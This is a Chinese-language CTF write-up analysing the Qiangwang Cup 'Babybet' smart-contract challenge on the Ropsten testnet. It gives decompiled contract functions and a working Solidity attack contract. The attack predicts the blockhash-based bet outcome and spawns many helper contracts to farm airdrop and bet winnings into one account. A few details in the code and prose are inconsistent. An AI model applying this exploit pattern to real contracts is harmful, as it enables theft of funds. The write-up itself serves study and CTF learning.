前文介绍了强网杯区块链第一道题目,本文将对第二道题目Babybet
进行深入分析。在比赛过程中,该题目并没有许多人做出,相比于第一题来说本题目并没有增加很大的难度,只是利用方法不同。本题目与第一道题目利用过程都很复杂,第一题需要不断建立b1b1的账户,而本题目需要我们不断进行循环函数调用。
下面看我们详细的分析。
同第一题一样,该问题给出合约地址以及部分合约文件。
0x5d1beefd4de611caff204e1a318039324575599a@ropsten,请使用自己队伍的token获取flag,否则flag无效
pragma solidity ^0.4.23;
contract babybet {
mapping(address => uint) public balance;
mapping(address => uint) public status;
address owner;
//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);
constructor()public{
owner = msg.sender;
balance[msg.sender]=1000000;
}
//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 1000000);
if (msg.sender!=owner){
balance[msg.sender]=0;}
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
...
该合约包括余额变量与status
变量,且包括发送flag事件。在发送flag函数中,语句要求函数调用者的余额>=1000000。且当函数调用方不是owner时便会将余额赋值为0,并触发事件。
当然给出的合约中并没有更多有价值的地方,所以我们还是需要选择进行逆向操作。
https://ropsten.etherscan.io/address/0x5d1beefd4de611caff204e1a318039324575599a
逆向得到关键函数:
function status(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x01;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
}
function profit() {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
if (storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x0a;
memory[0x20:0x40] = 0x01;
storage[keccak256(memory[0x00:0x40])] = 0x01;
}
function bet(var arg0) {
var var0 = 0x00;
memory[var0:var0 + 0x20] = msg.sender;
memory[0x20:0x40] = var0;
var var1 = var0;
if (0x0a > storage[keccak256(memory[var1:var1 + 0x40])]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
if (0x02 <= storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + ~0x09;
var0 = block.blockHash(block.number + ~0x00);
var1 = var0 % 0x03;
if (var1 != arg0) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
storage[keccak256(memory[0x00:0x40])] = 0x02;
return;
} else {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] + 0x03e8;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
storage[keccak256(memory[0x00:0x40])] = 0x02;
return;
}
}
function balance(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x00;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
}
function func_048F(var arg0, var arg1) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (arg1 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
var temp1 = arg1;
storage[temp0] = storage[temp0] - temp1;
memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
var temp2 = keccak256(memory[0x00:0x40]);
storage[temp2] = temp1 + storage[temp2];
}
}
下面我们详细对这些函数进行分析:
首先是profit()
函数。看到此函数我们就应该立刻想到为空投函数,该函数需要满足status = 0
,且当调用此函数后,用户余额会增加10 ,且status将变为1 。简单来说,这种函数只能够调用一次。
下面是bet
函数,该函数为合约的关键点。
var var0 = 0x00;
memory[var0:var0 + 0x20] = msg.sender;
memory[0x20:0x40] = var0;
var var1 = var0;
if (0x0a > storage[keccak256(memory[var1:var1 + 0x40])]) { revert(memory[0x00:0x00]); }
该语句表示调用函数的账户的余额需要满足<=10,否则无法调用。
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
if (0x02 <= storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
该语句表示用户的status需要满足<2。
当满足上述两个条件后,合约将计算一个随机数:
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + ~0x09;
var0 = block.blockHash(block.number + ~0x00);
var1 = var0 % 0x03;
该随机数用正常表示如下:
bytes32 guess = block.blockhash(block.number - 0x01);
uint guess1 = uint(guess) % 0x03;
由于调用bet
函数需要用户传入一个参数arg0
。当arg0
不等于随机数时,合约直接将status设置为2 。否则将执行关键过程,即让用户的余额+1000元。
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] + 0x03e8;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
storage[keccak256(memory[0x00:0x40])] = 0x02;
并将status赋值为2 。此处的status为2后,则表示用户无法再次调用bet函数,所以这个函数只能被使用一次。
之后我们分析一个无法解析出名字的函数 :func_048F()
function func_048F(var arg0, var arg1) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (arg1 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
var temp1 = arg1;
storage[temp0] = storage[temp0] - temp1;
memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
var temp2 = keccak256(memory[0x00:0x40]);
storage[temp2] = temp1 + storage[temp2];
}
该函数传入两个参数并满足arg1需要大于余额,这也就是很明显的转账函数。之后账户余额减少并使收款方余额增加。
基本上该合约的关键函数到此就分析结束,那么我们如何进行攻击呢?如何才能获取到100w的代币?
我们发现合约中唯一能获得钱的函数为bet。且只有1000块。所以我们可以使用薅羊毛的做法进行转账。我们的合约中存在打赌函数与转账函数,所以我们的假设完全满足。
我们知道,区块链中如果不调用第三方库那么便不会存在真正的随机数,此合约的随机数便可以被预测。
即我们可以使用如下函数来达到与合约相同的随机数预测:
bytes32 guess = block.blockhash(block.number - 0x01);
uint guess1 = uint(guess) % 0x03;
之后我们传入此随机数便可以获取到1000 。
于是我们一个羊应该包括如下步骤:
target.profit();——>target.bet(guess1);——>transfer
。下章中我们详细进行分析。
攻击合约如下:
pragma solidity ^0.4.23;
contract babybet {
mapping(address => uint) public balance;
mapping(address => uint) public status;
address owner;
//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);
constructor()public{
owner = msg.sender;
balance[msg.sender]=1000000;
}
function balance(address a) returns (uint b) {
}
//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 1000000);
if (msg.sender!=owner){
balance[msg.sender]=0;}
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
function profit() {}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function bet(uint num) {}
}
contract midContract {
babybet target = babybet(0x5d1BeEFD4dE611caFf204e1A318039324575599A);
function process() public {
target.profit();
bytes32 guess = block.blockhash(block.number - 0x01);
uint guess1 = uint(guess) % 0x03;
target.bet(guess1);
}
function transfer(address a, uint b) public{
// target.func_048F(a,b);
bytes4 method = 0xf0d25268;
target.call(method,a,b);
selfdestruct();
}
}
contract hack {
// babybet target; = babybet(0x5d1BeEFD4dE611caFf204e1A318039324575599A);
function ffff() public {
for(int i=0;i<=100;i++){
midContract mid = new midContract();
mid.process();
mid.transfer("0x9b9a3xxxxxxxxxxxxxxxxxxxx",1000);
}
}
}
我们进行函数的测试,看看是否可以真正预测随机数。我们调用midContract
中的process
。
看到目前合约中的余额和status均为0 。调用函数后得到:
说明我们随机数预测成功,那么后面就非常简单了,即将process函数封装并调用转账函数将合约中的1000转给一个账户。
midContract mid = new midContract();
mid.process();
mid.transfer("0x9b9a30b7df47b9dbexxxxxxxxxxxxx",1000);
上述合约调用1000次即可。
调用后余额清空:
得到flag。